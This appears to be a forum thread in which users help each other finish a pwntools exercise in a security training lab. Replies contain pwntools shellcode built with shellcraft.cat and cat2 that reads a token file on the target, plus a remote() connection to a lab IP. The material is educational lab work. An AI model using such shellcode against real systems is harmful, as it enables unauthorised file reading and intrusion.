Forum Discussion
kdkstudies Bronze I
Bronze I
9 months agoNeed Help for Pwntools: Ep. 6 — Demonstrate Your Skills
 I'm trying to solve an lab in Immersive labs  Pwntools: Ep. 6 — Demonstrate Your Skills  And I got stuck in the last step. I've tried the solution for using cat2 (from https://www.reddit.com/r/immers...
- 8 months agowell, as indicated in reddit sub: ... shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0) shellcode = asm(shellcode) print ("Sending Shellcode:",shellcode, " ---#") io.send(shellcode) io.sendline() ...should work. looking at my old solution I see that I remote connected: io = remote('10.102.180.68',5000)somehow I don't see this in your code. could it be (it's been a long time) that you're working on the wrong endpoint? 
kdkstudies Bronze I
Bronze I
9 months agoAdditionally I've tried these as well.
shellcode = asm(shellcraft.cat("/home/token-user/token.txt"))
shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0)
shellcode = asm(shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0))